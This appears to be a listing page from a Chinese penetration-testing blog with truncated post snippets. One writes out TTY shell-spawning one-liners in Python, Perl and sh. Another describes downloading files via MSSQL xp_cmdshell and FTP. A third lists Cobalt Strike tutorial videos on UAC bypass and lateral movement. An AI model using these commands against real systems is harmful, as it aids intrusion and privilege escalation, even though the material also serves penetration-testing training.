Spawning a TTY Shell-逃逸linux各种shell来执行命令
python -c 'import pty; pty.spawn("/bin/sh")' echo os.system('/bin/bash') /bin/sh -i perl —e 'exec "/bin/sh";' perl: exec...
Mssql的xp_cmdshell组件执行FTP命令
情况较为特殊，只有目录C:\Windows\Temp\，有上传权限： 这里下载的文件默认下载到c:\user\你当前用户名 目录下方，但是这个目录没可写。即便下载了也没戏，因为根本没存进去。 于是接着执行，（先cd到可执行目录，然后在执行ftp，这样就下载到了指定的目录。） cd...
Cobalt strike中文翻译视频教程
Cobalt Strike CNA - Eventvwr UAC Bypass.mp4 Cobalt Strike 内网跨网段渗透测试.mp4 Cobalt Strike教程九：Metasploit框架.mp4 Cobalt Strike教程十三：bypassuac攻击.mp4 ...
搜索当前分类